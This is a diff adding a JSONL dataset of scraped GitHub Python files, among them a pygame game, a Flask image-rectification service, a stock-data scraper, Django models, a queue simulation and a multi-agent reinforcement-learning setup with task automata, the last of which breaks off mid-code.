diff --git "a/157.jsonl" "b/157.jsonl" new file mode 100644--- /dev/null +++ "b/157.jsonl" @@ -0,0 +1,2032 @@ +{"seq_id":"15547046632","text":"import pytest\nfrom click.testing import CliRunner\nfrom x_cms import run_xcms\nfrom x_cms import parsers\n\n\n@pytest.fixture\ndef runner():\n return CliRunner()\n\n\ndef test_cli_with_checkenv():\n run_xcms.checkEnv()\n\n\ndef test_cli_with_calculate():\n q_lig = \"./2yiw_YIW_A_1.pdb.pdbqt.vina.pdbqt\"\n q_prt = \"./2yiwA.pdb\"\n t_lig = \"./3f3u_1AW_A_1.pdb\"\n t_prt = \"./3f3uA.pdb\"\n\n task = run_xcms.BioLipReferencedSpearmanR(q_lig, q_prt)\n result = task.calculateAgainstOneSystem(t_lig, t_prt)\n assert abs(result['TM-score'] - 0.756) < 0.001\n assert abs(result['ps_score'] - 0.698) < 0.001\n assert abs(result['spearmanr'] - 0.961) < 0.001\n","repo_name":"GeauxEric/extended-cms","sub_path":"tests/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12626793393","text":"#*-*coding:utf-8*-*\n\n'''\n\tclass personnage\n'''\n\nimport pygame\nimport math\nfrom element import *\n\n\nclass Character():\n\t'''\n\n\t'''\n\tdef __init__(self, x, y , width, height, window):\n\t\t#position variable\n\t\tself.x, self.y = x, y\n\t\tself.dx, self.dy = 0, 0\n\t\tself.height, self.width = height, width\n\t\t#pygame variable\n\t\tself.window = window\n\t\tself.rect = pygame.Rect(x, y, width, height)\n\t\t#gameplay variable\n\t\tself.gravity = 2\n\t\tself.bravery = 10\n\t\tself.freeze = True\n\t\tself.freezeTime = 0\n\t\tself.tiredNess = 0\n\t\tself.jumps = 10\n\t\t#internal variable\n\t\tself.jumpHeight = 0\n\t\tself.currentJump = 0\n\t\tself.onGround = True\n\t\tself.color = (77,77,255)\n\t\t#assets\n\t\tself.image = None\n\t\t\n\tdef draw(self):\n\t\tpygame.draw.rect(self.window, self.color, self.rect,0)\n\t\tpygame.draw.line(self.window, (0,0,0), (self.rect.left, self.rect.top), \n\t\t\t\t\t\t(self.rect.right, self.rect.top), 2)\n\n\tdef touchGround(self):\n\t\tself.onGround = True\n\n\tdef move(self, **kwargs):\n\t\tup = kwargs.get('jump', 0)\n\t\tright = kwargs.get('right', 0)\n\t\tleft = kwargs.get('left', 0)\n\t\ttimer = kwargs.get('timer', None)\n\n\t\t#reset the position delta \n\t\tself.dx, self.dy = 0, 0\n\n\t\tif self.freeze:\n\t\t\tif self.freezeTime > 1:\n\t\t\t\tself.freezeTime -= 1\n\t\t\telse:\n\t\t\t\tself.freeze = False\n\t\t\t\tself.color = (77,77,255)\n\n\t\t#set the position delta\n\t\tif self.onGround: \n\t\t\tif up != 0 and self.jumps>0:\n\t\t\t\tself.jumps -= 1\n\t\t\t\tself.onGround = False\n\t\t\t\tself.jumpHeight = self.tired(up, timer)\n\t\t\t\tself.currentJump = self.jumpHeight\n\t\t\t\tif self.jumps == 0: print(\"no more jumps\")\n\t\telse:\n\t\t\tif self.currentJump < 0: #speed to the top\n\t\t\t\tself.dy = -(self.currentJump)**2 + self.gravity\n\t\t\t\tself.currentJump -= self.jumpHeight*0.10\n\t\t\telse: #speed to the bottom\n\t\t\t\tself.dy = (self.currentJump)**2 + self.gravity\n\t\t\t\tself.currentJump -= self.jumpHeight*0.10\n\t\tself.dx = right + left\n\n\t\t#update the rect position\n\t\tself.rect.x += self.dx\n\t\tself.rect.y += int(self.dy)\n\n\tdef tired(self, jumpHeight, timer):\n\t\tif timer != None:\n\t\t\tprint(timer)\n\t\t\tif timer < 180: \n\t\t\t\tfactor= timer/180\n\t\t\telse: \n\t\t\t\tfactor=1 \n\t\t\tjumpHeight*=factor\n\t\treturn jumpHeight\n\n\tdef fear(self, distance):\n\t\tif distance < self.width:\n\t\t\tif not self.freeze:\n\t\t\t\tself.freeze = True\n\t\t\t\tself.color = (25, 25, 255)\n\t\t\t\tself.freezeTime = 59*(11-self.bravery)+10\n\n\ndef collisionDetection(char, listObj):\n\tfor obj in listObj:\n\t\tif char.rect.colliderect(obj.rect):\n\t\t\tprint(f\" {char.rect.x}, {char.rect.y}\")\n\t\t\t#hit from the object point of view\n\t\t\thitLeft = char.rect.right > obj.rect.left # Moving right\n\t\t\thitRight = char.rect.left < obj.rect.right # Moving left\n\t\t\thitTop = char.rect.bottom > obj.rect.top # Moving down\n\t\t\thitBottom = char.rect.top < obj.rect.bottom # Moving up\n\n\t\t\tprint(f\"{hitLeft} {hitRight} {hitTop} {hitBottom}\")\n\t\t\t#from the object point of view\n\t\t\tif hitRight and (hitTop or hitBottom): # hit by the right side\n\t\t\t\tprint(\"hit left\")\n\t\t\t\tchar.rect.right = obj.rect.left\n\n\t\t\tif hitLeft and (hitTop or hitBottom): # hit by the left side\n\t\t\t\tprint(\"hit right\")\n\t\t\t\tchar.rect.left = obj.rect.right\n\n\t\t\tif hitTop and (hitRight, hitLeft): # land on the top side\n\t\t\t\tprint(\"hit top\")\n\t\t\t\tchar.touchGround()\n\t\t\t\tchar.rect.bottom = obj.rect.top\n\n\t\t\tif hitBottom and (hitRight or hitLeft): # Moving up; Hit the bottom side\n\t\t\t\tprint(\"hit bottom\")\n\t\t\t\tchar.rect.top = obj.rect.bottom\n\n\t\t\tprint(f\" {char.rect.x}, {char.rect.y}\")\n\n\ndef collisionBorder(char, border):\n\trectBorder = border.get_rect()\n\tif not rectBorder.contains(char.rect):\n\t\t\tif char.rect.right > rectBorder.right: # Moving right; Hit the left side\n\t\t\t\tchar.rect.right = rectBorder.right\n\t\t\t\n\t\t\tif char.rect.left < rectBorder.left: # Moving left; Hit the right side\n\t\t\t\tchar.rect.left = rectBorder.left\n\t\t\t\n\t\t\tif char.rect.bottom > rectBorder.bottom: # Moving down; Hit the top side\n\t\t\t\tchar.touchGround()\n\t\t\t\tchar.rect.bottom = rectBorder.bottom\n\t\t\t\n\t\t\tif char.rect.top < rectBorder.top: # Moving up; Hit the bottom side\n\t\t\t\tchar.rect.top = rectBorder.top\n\ndef proximityDetection(char, listHurdles):\n\tif char.onGround:\n\t\tfor hurdle in listHurdles:\n\t\t\tdistance = math.sqrt((char.rect.centerx - hurdle.rect.centerx)**2 + \n\t\t\t\t\t\t\t\t(char.rect.centery - hurdle.rect.centery)**2)\n\t\t\tpygame.draw.line(win, (255,0,0), (char.rect.centerx, char.rect.centery) \n\t\t\t\t\t\t\t,(hurdle.rect.centerx, hurdle.rect.centery),2)\n\t\t\tchar.fear(distance)\n\n\nif __name__ == '__main__':\n\tpygame.init()\n\twin = pygame.display.set_mode((1350,700))\n\tpygame.display.set_caption(\"test character\")\n\tclock = pygame.time.Clock()\n\tfont = pygame.font.SysFont(\"Comic Sans Ms\", 20)\n\n\tchar = Character(200,200,25,50,win)\n\tbloc = pad(100, 300, 300, 30, win)\n\tspike = hurdle(370, 270, 30, 30, (255,0,0), win)\n\tListDisplay = [spike, bloc, char]\n\n\trun = True\n\tnbCycle = 0\n\twhile run:\n\t\tclock.tick(60)\n\n\t\tkey = pygame.key.get_pressed()\n\t\tkeyPressed = False\n\t\tnbCycle += 1\n\n\t\tif key[pygame.K_UP]:\n\t\t\tif nbCycle > 5: #debounce the jump key\n\t\t\t\tchar.move(jump=-(char.height/10), timer=nbCycle)\n\t\t\t\tkeyPressed = True\n\t\t\t\tnbCycle=0 \n\n\t\tif key[pygame.K_RIGHT]:\n\t\t\tchar.move(right=10)\n\t\t\tkeyPressed = True\n\n\t\tif key[pygame.K_LEFT]:\n\t\t\tchar.move(left=-10)\n\t\t\tkeyPressed = True\n\n\t\tif not keyPressed:\n\t\t\tchar.move()\n\n\t\twin.fill((255,255,255))\n\n\t\tcollisionBorder(char, win)\n\t\tcollisionDetection(char, [bloc, spike])\n\t\tproximityDetection(char, [spike])\n\n\n\t\t#draw element\n\t\tfor x in ListDisplay:\n\t\t\tx.draw()\n\t\t\n\t\t#update screen\n\t\tpygame.display.update()\n\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\trun = False\n\t\t\t\tpygame.quit()\n","repo_name":"johnchem/WE-JV10","sub_path":"character.py","file_name":"character.py","file_ext":"py","file_size_in_byte":5471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14600126207","text":"import matplotlib.pyplot as plt\n\n\ndef plotFile(file_name, title, chi95=None):\n\n data = []\n with open(file_name) as fid:\n for line in fid:\n data.append(float(line))\n plt.plot(data)\n plt.title(title)\n if chi95 is not None:\n plt.plot([0, len(data) - 1], [chi95, chi95], 'r', label='chi-squared 95%')\n x1, x2, _, _ = plt.axis()\n plt.axis([x1, x2, 0, 10])\n\n\nplt.figure(figsize=(8, 3))\nplt.suptitle('Dataset 1')\nplt.subplot(1, 2, 1)\nplotFile('../NIS1_lidar.txt', title='LIDAR', chi95=5.991)\nplt.ylabel('Normalized Innovation Squared')\nplt.subplot(1, 2, 2)\nplotFile('../NIS1_radar.txt', title='RADAR', chi95=7.815)\nplt.legend(loc='lower right')\n\nplt.figure(figsize=(8, 3))\nplt.suptitle('Dataset 2')\nplt.subplot(1, 2, 1)\nplotFile('../NIS2_lidar.txt', title='LIDAR', chi95=5.991)\nplt.ylabel('Normalized Innovation Squared')\nplt.subplot(1, 2, 2)\nplotFile('../NIS2_radar.txt', title='RADAR', chi95=7.815)\nplt.legend(loc='lower right')\nplt.show()\n","repo_name":"misaksson/self_driving_car_nd","sub_path":"term2/P7-Unscented-Kalman-Filter/tools/plot_nis.py","file_name":"plot_nis.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"32493237033","text":"from fdps import nuevo_intervalo_entre_turnos\nfrom instancia import Instancia\nimport pantalla\nfrom typing_extensions import TypedDict\nimport random\n\ncantidad_instancias_premium: int = 1\ncantidad_instancias_comunes: int = 2\n\nVariables = TypedDict('Variables', {\"tiempo_actual\": float, \"tiempo_final\": float, \"tiempo_proximo_turno\": float, \"espera_total\": float, \"turnos_totales\": int, \"suma_inicio_tiempo_espera_cola_premium\": float, \"suma_fin_tiempo_espera_cola_premium\": float, \"cola_premium\": int, \"cola_comun\": int, \"instancias_comunes\": list[Instancia], \"instancias_premium\": list[Instancia], \"suma_inicio_tiempo_espera_cola_comun\": float, \"suma_fin_tiempo_espera_cola_comun\": float})\n\nvariables_simulacion: Variables = {\n \"tiempo_actual\": 0,\n \"tiempo_final\": 86400, #1 dia\n \"cantidad_instancias_premium\": cantidad_instancias_premium, #Control\n \"cantidad_instancias_comunes\": cantidad_instancias_comunes, #control\n \"instancias_comunes\": [Instancia(i, False) for i in range(cantidad_instancias_comunes)], #Estado\n \"instancias_premium\": [Instancia(i, True) for i in range(cantidad_instancias_premium)], #Estado\n \"tiempo_proximo_turno\": nuevo_intervalo_entre_turnos(), #Evento futuro\n \"espera_total\": 0,\n \"turnos_totales\": 0,\n \"suma_inicio_tiempo_espera_cola_premium\": 0,\n \"suma_inicio_tiempo_espera_cola_comun\": 0,\n \"suma_fin_tiempo_espera_cola_premium\": 0,\n \"suma_fin_tiempo_espera_cola_comun\": 0,\n \"cola_premium\": 0, #Estado\n \"cola_comun\": 0 #Estado\n\n\n}\n\ndef instancia_con_proxima_salida() -> Instancia:\n instancias = variables_simulacion[\"instancias_comunes\"] + variables_simulacion[\"instancias_premium\"]\n return min(instancias, key=Instancia.get_proxima_salida)\n\ndef instancias_libres() -> list[Instancia]:\n return list(filter(Instancia.esta_libre, variables_simulacion[\"instancias_comunes\"] + variables_simulacion[\"instancias_premium\"] ))\n\ndef es_premium():\n return random.random() < 0.25\n\ndef instancias_premium_libres():\n return list(filter(Instancia.get_es_premium, instancias_libres()))\n\ndef instancias_comunes_libres():\n return list(filter(Instancia.es_comun, instancias_libres()))\n\ndef llegada_premium(tiempo_actual: float):\n global variables_simulacion\n premium_libres = instancias_premium_libres()\n comun_libres = instancias_comunes_libres()\n\n if len(premium_libres) > 0:\n premium_libres[0].atender(tiempo_actual)\n elif len(comun_libres) > 0:\n comun_libres[0].atender(tiempo_actual)\n else:\n variables_simulacion[\"cola_premium\"] += 1\n variables_simulacion[\"suma_inicio_tiempo_espera_cola_premium\"] += tiempo_actual\n\ndef llegada_comun(tiempo_actual: float):\n global variables_simulacion\n comun_libres = instancias_comunes_libres()\n\n if len(comun_libres) > 0:\n comun_libres[0].atender(tiempo_actual)\n else:\n variables_simulacion[\"cola_comun\"] += 1\n variables_simulacion[\"suma_inicio_tiempo_espera_cola_comun\"] += tiempo_actual\n\ndef llegada_turno(tiempo_llegada: float):\n global variables_simulacion\n variables_simulacion[\"tiempo_actual\"] = tiempo_llegada\n variables_simulacion[\"tiempo_proximo_turno\"] += nuevo_intervalo_entre_turnos()\n variables_simulacion[\"turnos_totales\"] += 1\n\n if es_premium():\n llegada_premium(tiempo_llegada)\n else:\n llegada_comun(tiempo_llegada)\n\n\ndef tomar_de_cola_si_hay(nombre_cola: str, instancia: Instancia):\n global variables_simulacion\n tiempo_actual = variables_simulacion[\"tiempo_actual\"]\n\n if(variables_simulacion[nombre_cola] > 0):\n variables_simulacion[nombre_cola] -= 1\n variables_simulacion[\"suma_fin_tiempo_espera_\" + nombre_cola] += tiempo_actual\n instancia.atender(tiempo_actual)\n\n\ndef salida(instancia: Instancia):\n global variables_simulacion\n variables_simulacion[\"tiempo_actual\"] = instancia.get_proxima_salida()\n tiempo_actual = variables_simulacion[\"tiempo_actual\"]\n instancia.terminarDeAtender(tiempo_actual)\n\n tomar_de_cola_si_hay(\"cola_premium\", instancia) #Las premium y comunes siempre checkean la premium primero\n\n if(instancia.es_comun() and instancia.esta_libre()): #Si es comun y no tomo a nadie premium\n tomar_de_cola_si_hay(\"cola_comun\", instancia) \n\ndef hay_personas_esperando():\n return variables_simulacion[\"cola_premium\"] > 0 or variables_simulacion[\"cola_comun\"] > 0\n\ndef ciclo_de_evento():\n global variables_simulacion\n tiempo_actual = variables_simulacion[\"tiempo_actual\"]\n tiempo_final = variables_simulacion[\"tiempo_final\"]\n proximo_turno = variables_simulacion[\"tiempo_proximo_turno\"]\n proxima_instancia = instancia_con_proxima_salida()\n\n if(tiempo_actual < tiempo_final or hay_personas_esperando()):\n if(proximo_turno < proxima_instancia.get_proxima_salida()):\n llegada_turno(proximo_turno)\n else:\n salida(proxima_instancia)\n \n if(tiempo_actual > tiempo_final): #Vaciamiento\n variables_simulacion[\"tiempo_proximo_turno\"] = float(\"inf\")\n\n\ndef main():\n while(True):\n ciclo_de_evento()\n pantalla.actualizar_pantalla(variables_simulacion)\n\nif __name__ == \"__main__\":\n main()","repo_name":"tfloxolodeiro/TP6-Simulacion","sub_path":"tp6.py","file_name":"tp6.py","file_ext":"py","file_size_in_byte":5171,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41870143943","text":"import click\nimport yaml\n\nfrom ..scan import directory_to_config\nfrom ..sources import MapSource\n\n\n@click.command(\n no_args_is_help=True,\n context_settings=dict(help_option_names=['-h', '--help']),\n short_help='Build and cache raster overviews',\n help=(\n 'Build and cache raster overviews.'\n ),\n)\n@click.option(\n '--config_yaml',\n type=click.Path(exists=True),\n)\n@click.option(\n '--scan_directory',\n type=click.Path(exists=True),\n)\n@click.option(\n '--overview_levels',\n type=str,\n help='Comma-separated integer z-levels to generate overviews for, without '\n 'whitespace, for use with --scan_directory',\n)\n@click.option(\n '--force',\n 'force',\n is_flag=True,\n help='Force recreation of overviews even if they already exist.',\n)\ndef build_raster_overviews(config_yaml, scan_directory, overview_levels, force):\n if not config_yaml and not scan_directory:\n raise RuntimeError(\"Must specify at least one of config_yaml and scan_directory\")\n\n source_objs = []\n\n if config_yaml:\n with open(config_yaml, 'r') as f:\n content = f.read()\n config_obj = yaml.safe_load(content)\n source_objs += config_obj['sources']\n\n if overview_levels:\n overview_levels = overview_levels.split(',')\n overview_levels = list(map(int, overview_levels))\n\n if scan_directory:\n source_objs += directory_to_config(scan_directory, overview_levels)\n\n for source_obj in source_objs:\n if force:\n source_obj[\"force_recreate_overviews\"] = True\n\n source = MapSource.from_obj(source_obj)\n source = source.load()\n","repo_name":"makepath/mapshader","sub_path":"mapshader/commands/build_raster_overviews.py","file_name":"build_raster_overviews.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"3"} +{"seq_id":"39735405585","text":"from flask import Flask, request\nimport cv2\nimport os\nimport uuid\n\n# camera constants for distance calc\nCAM_FOCAL_LENGTH = 2000 #in pixels (roughly)\nSTEREO_BASELINE = 0.1 #in meteres\n\n# import the calibration data\nCALIBRATION_VALUES_PATH = \"/app/src/stereo_rectify_maps.xml\"\n\ncv_file = cv2.FileStorage(CALIBRATION_VALUES_PATH, cv2.FILE_STORAGE_READ)\nLEFT_MAP_X = cv_file.getNode(\"Left_Stereo_Map_x\").mat()\nLEFT_MAP_Y = cv_file.getNode(\"Left_Stereo_Map_y\").mat()\nRIGHT_MAP_X = cv_file.getNode(\"Right_Stereo_Map_x\").mat()\nRIGHT_MAP_Y = cv_file.getNode(\"Right_Stereo_Map_y\").mat()\ncv_file.release()\n\nCAL_MAPS = [[LEFT_MAP_X, LEFT_MAP_Y], [RIGHT_MAP_X, RIGHT_MAP_Y]]\n\napp = Flask(__name__)\n\n\n@app.route(\"/\", methods=['GET'])\ndef run():\n # get json data\n json_data = request.get_json()\n\n img_paths = json_data.get('imgs', [])\n in_place = json_data.get('in_place', False)\n\n if img_paths == []:\n return \"No images provided\", 400\n\n if len(img_paths) % 2 != 0:\n return \"Uneven number of images provided\", 400\n\n data = []\n\n for i in range(0, len(img_paths), 2):\n if not (os.path.isfile(img_paths[i]) and os.path.isfile(img_paths[i + 1])):\n return f\"Image {i} or {i + 1} does not exist\", 400\n old_imgL = cv2.imread(img_paths[i])\n old_imgR = cv2.imread(img_paths[i + 1])\n\n imgL = cv2.remap(old_imgL, CAL_MAPS[0][0], CAL_MAPS[0][1], cv2.INTER_LANCZOS4, cv2.BORDER_CONSTANT, 0)\n imgR = cv2.remap(old_imgR, CAL_MAPS[1][0], CAL_MAPS[1][1], cv2.INTER_LANCZOS4, cv2.BORDER_CONSTANT, 0)\n \n if in_place:\n output_path_0 = img_paths[i]\n output_path_1 = img_paths[i + 1]\n else:\n folder = os.path.dirname(img_paths[i])\n output_path_0 = os.path.join(folder, str(uuid.uuid4()) + '.jpg')\n output_path_1 = os.path.join(folder, str(uuid.uuid4()) + '.jpg')\n\n # rewrite the images with the undistorted versions\n cv2.imwrite(output_path_0, imgL)\n cv2.imwrite(output_path_1, imgR)\n\n data.extend([output_path_0, output_path_1])\n \n return data\n\n\n@app.route(\"/test\")\ndef test():\n return 'Server is Live'\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"WillMeagher/Drone-Detection","sub_path":"services/opencv-distortion/src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37895319150","text":"import datetime\nimport os\nimport urllib.parse\nimport pandas as pd\nimport pickle\nfrom tqdm import tqdm \n\nMARKET_CODE_DICT = {\n 'kospi': 'stockMkt',\n 'kosdaq': 'kosdaqMkt',\n 'konex': 'konexMkt'}\n\nDOWNLOAD_URL = 'kind.krx.co.kr/corpgeneral/corpList.do'\n\ndef download_stock_codes(market=None, delisted=False):\n params = {'method': 'download'}\n\n if market.lower() in MARKET_CODE_DICT:\n params['marketType'] = MARKET_CODE_DICT[market]\n\n if not delisted:\n params['searchType'] = 13\n\n params_string = urllib.parse.urlencode(params)\n request_url = urllib.parse.urlunsplit(['http', DOWNLOAD_URL, '', params_string, ''])\n\n df = pd.read_html(request_url, header=0)[0]\n df.종목코드 = df.종목코드.map('{:06d}'.format)\n\n return df\n\nkospi_stocks = download_stock_codes('kospi')\n\nname = 'kospi_stocks'\nwith open('C:\\DATA\\Stock_data\\{}.pickle'.format(name),'wb') as f:\n pickle.dump(kospi_stocks, f, pickle.HIGHEST_PROTOCOL) \n \n# 데이터 가져오기.\n\ndef stock_info_crawl(code):\n url = 'http://finance.naver.com/item/sise_day.nhn?code={code}'.format(code=code)\n df = pd.DataFrame()\n for page in range(1, 25):\n pg_url = '{url}&page={page}'.format(url=url, page=page)\n df = df.append(pd.read_html(pg_url, header=0)[0], ignore_index=True)\n df = df.dropna()\n return df\n\ndfs = dict()\nfor code in tqdm(kospi_stocks.종��코드):\n df = stock_info_crawl(code)\n dfs[code] = df\n\nnow = datetime.datetime.now().date().strftime(\"%y%m%d_%H%M%S\")\nname = 'raw_data' + now\nwith open('C:\\DATA\\Stock_data\\{}.pickle'.format(name),'wb') as f:\n pickle.dump(dfs, f, pickle.HIGHEST_PROTOCOL) \n\n\n##\ns= str(datetime.datetime.now()) + 'Stock_Data_saved'\nisfile = os.path.isfile('log.txt')\n\nif isfile:\n with open('log.txt', 'a') as f: #파일이 있으면 마지막 행에 추가\n f.write(s+'\\n')\nelse :\n with open('log.txt', 'w') as f: #파일이 없으면 log.txt 생성하고 입력\n f.write(s+'\\n')\n\n","repo_name":"ho2921ho/HomeWork","sub_path":"Daily_Coding/Stock/StockData.py","file_name":"StockData.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"416011839","text":"from . import views\nfrom django.urls import path\n\napp_name = 'home'\nurlpatterns = [\n path('', views.home, name='home'),\n path('img/', views.home_img, name='img'),\n path('results_img/', views.home_results_img, name='home_results_img'),\n path('video/', views.home_video, name='video'),\n path('results_video/', views.home_results_video, name='home_results_video'),\n path('webcam/', views.webcam, name='webcam'),\n path('video_feed/', views.video_feed, name='video_feed'),\n path('download_video/', views.download_video, name='download_video'),\n]\n","repo_name":"phtrungagu321o/InsectDetection","sub_path":"home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40525350985","text":"# Brenden Collins // Nate Novak\n# CS 7180: Advanced Computer Perception\n# Fall 2022\n# Perform dimension reduction and clustering analyses on encoded sentence data \n\n\n############\n# Not used #\n############\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.decomposition import PCA\n\ndef main():\n\n # load data\n print(\"Loading data...\")\n cls_out = pd.read_csv(\"../data/encoded.csv\")\n print(cls_out)\n print(cls_out.columns)\n\n cls_np = np.array(cls_out.drop([\"Unnamed: 0\", \"PhraseId\", \"SentenceId\", \"Phrase\"], axis=1))\n print(f\"cls_np shape: {cls_np.shape}\")\n\n sentiment = cls_np[:,0]\n vector = cls_np[:,1:]\n print(sentiment)\n print(vector.shape)\n\n # PCA on all sentences - CLS vector only\n pca = PCA()\n pca.fit(vector)\n \n print(f\"Num components: {pca.n_components_}\")\n print(f\"First 100 axes variance: {pca.explained_variance_ratio_[:100]}\")\n test = np.array(pca.explained_variance_ratio_)[:10].sum()\n print(f\"Percent of variance in the first 10 axes: {test}\")\n# print(pca.singular_values_)\n\n return\n\nif __name__ == \"__main__\": \n main()\n","repo_name":"nate-j-nov/analyzing_sequential_data","sub_path":"src/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20533981142","text":"from django.db import models\nfrom django import forms\nfrom multiselectfield import MultiSelectField\nfrom django.db.models import Count\n\nFOOD = [('3 Piece', '3 Piece'), ('Box Combo', 'Box Combo'),\n ('Caniac Combo', 'Caniac Combo')]\n\nDRINKS = [('Sweet Tea', 'Sweet Tea'), ('Unsweet Tea', 'Unsweet Tea'),\n ('Coke', 'Coke'), ('Dr. Pepper', 'Dr. Pepper')]\n\n\nclass OptionalItems(models.Model):\n item_name = models.CharField(max_length=50)\n\n def __str__(self):\n return self.item_name\n\n\nclass Order(models.Model):\n order_name = models.CharField(max_length=50)\n main_food = models.CharField(\n max_length=20, choices=FOOD, default='Cane\\'s order')\n drink = models.CharField(\n max_length=15, choices=DRINKS, default='Drink Choice')\n additional_items = models.ManyToManyField(OptionalItems)\n additional_notes = models.TextField(default='More notes')\n\n def __str__(self):\n return self.order_name\n","repo_name":"Houghelpuff/orderHere","sub_path":"canes/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7864966082","text":"import sys\nfrom datetime import datetime;\n#logging module may also be useful\ncwd = sys.path[0];\n\ndef my_func(var):\n print(var);\n\nlogging = True;\nif(logging):\n log = open(cwd + \"/log.txt\",\"a\");log.write(\"\\n\" + str(datetime.now().isoformat()) + \" LOGGING STARTED\\n\");log.close();\n def logger(func):\n def inner(*args, **kwargs):\n log = open(cwd + \"/log.txt\",\"a\");\n log.write(str(datetime.now().isoformat())+\" func: \"+str(func.__qualname__)+\" *args: \"+str(args)+\" **kwargs: \"+str(kwargs)+\"\\n\");\n log.close();\n return func(*args, **kwargs);\n return inner; \n \n #my_func = logger(my_func);\n print = logger(print);\n\n#my_func(\"test\");\nprint(\"ddd\", \"DDD\");\n","repo_name":"yobleck/configs","sub_path":"logging_example.py","file_name":"logging_example.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12638788191","text":"import collections\nimport copy\nimport numpy as np\nimport tensorflow as tf\nimport tqdm\nfrom a2c_team_tf.nets.base import DeepActorCritic\nfrom a2c_team_tf.lib.tf2_a2c_base_v2 import MTARL\nfrom a2c_team_tf.utils.dfa import DFAStates, DFA, CrossProductDFA, RewardMachines, RewardMachine\nfrom abc import ABC\nfrom a2c_team_tf.envs.team_grid_mult import TestEnv\nfrom a2c_team_tf.utils.env_utils import make_env\nfrom a2c_team_tf.utils.data_capture import AsyncWriter\nimport multiprocessing\n\n# Parameters\nenv_key = 'Team-obj-5x5-v0'\nseed = 321\nmax_steps_per_update = 10\nnp.random.seed(seed)\ntf.random.set_seed(seed)\nmin_episode_criterion = 100\nmax_epsiode_steps = 15\nmax_episodes = 120000\nnum_tasks = 2\nnum_agents = 2\n# the number of CPUs to run in parallel when generating environments\nnum_procs = min(multiprocessing.cpu_count(), 30)\nrecurrence = 1\nrecurrent = recurrence > 1\none_off_reward = 10.0\nnormalisation_coeff = 1.\nentropy_coef = .5\nalpha1 = 0.0001\nalpha2 = 0.0001\ne, c, chi, lam = 15, 0.8, 1.0, 1.0\n\n# construct DFAs\nclass PickupObj(DFAStates, ABC):\n def __init__(self):\n self.init = \"I\"\n self.carrying = \"C\"\n self.drop = \"D\"\n self.fail = \"F\"\n\ndef pickup_ball(data, agent):\n if data['env'].agents[agent].carrying:\n if data['env'].agents[agent].carrying.type == \"ball\":\n return \"C\"\n else:\n return \"I\"\n else:\n return \"I\"\n\ndef drop_ball(data, agent):\n if data['env'].agents[agent].carrying:\n if data['env'].agents[agent].carrying.type == \"ball\":\n return \"C\"\n else:\n fwd_pos = data['env'].agents[agent].front_pos\n fwd_cell = data['env'].grid.get(*fwd_pos)\n if fwd_cell is not None:\n if fwd_cell.type == \"box\":\n return \"D\"\n else:\n return \"F\"\n else:\n \"F\"\n else:\n return \"D\"\n\ndef pickup_key(data, agent):\n if data['env'].agents[agent].carrying:\n if data['env'].agents[agent].carrying.type == \"key\":\n return \"C\"\n else:\n return \"I\"\n else:\n return \"I\"\n\ndef drop_key(data, agent):\n if data['env'].agents[agent].carrying:\n if data['env'].agents[agent].carrying.type == \"key\":\n return \"C\"\n else:\n fwd_pos = data['env'].agents[agent].front_pos\n fwd_cell = data['env'].grid.get(*fwd_pos)\n if fwd_cell is not None:\n if fwd_cell.type == \"box\":\n return \"D\"\n else:\n return \"F\"\n else:\n \"F\"\n else:\n return \"D\"\n\ndef finished(a, b):\n return \"D\"\n\ndef fail(a, b):\n return \"F\"\n\ndef make_pickupanddrop_ball_dfa():\n dfa = DFA(start_state=\"I\", acc=[\"D\"], rej=[\"F\"])\n states = PickupObj()\n dfa.add_state(states.init, pickup_ball)\n dfa.add_state(states.carrying, drop_ball)\n dfa.add_state(states.drop, finished)\n dfa.add_state(states.fail, fail)\n return dfa\n\ndef make_pickup_key_dfa():\n dfa = DFA(start_state=\"I\", acc=[\"D\"], rej=[\"F\"])\n states = PickupObj()\n dfa.add_state(states.init, pickup_key)\n dfa.add_state(states.carrying, drop_key)\n dfa.add_state(states.drop, finished)\n dfa.add_state(states.fail, fail)\n return dfa\n\n## Reward machines\ndef pickup_ball_rm(data, agent):\n if data['word'] == \"ball\":\n return \"C\"\n else:\n return \"I\"\n\ndef drop_ball_rm(data, agent):\n if data['word'] == \"ball\":\n return \"C\"\n elif data['word'] == \"not_box\":\n return \"F\"\n else:\n return \"D\"\n\ndef pickup_key_rm(data, agent):\n if data['word'] == \"key\":\n return \"C\"\n else:\n return \"I\"\n\ndef drop_key_rm(data, agent):\n if data['word'] == \"key\":\n return \"C\"\n elif data['word'] == \"not_box\":\n return \"F\"\n else:\n return \"D\"\n\ndef make_pickup_ball_rm():\n rm = RewardMachine(start_state=\"I\", acc=[\"D\"], rej=[\"F\"], words=[\"ball\", \"not_box\", \"box\"])\n states = PickupObj()\n rm.add_state(states.init, pickup_ball_rm)\n rm.add_state(states.carrying, drop_ball_rm)\n rm.add_state(states.drop, 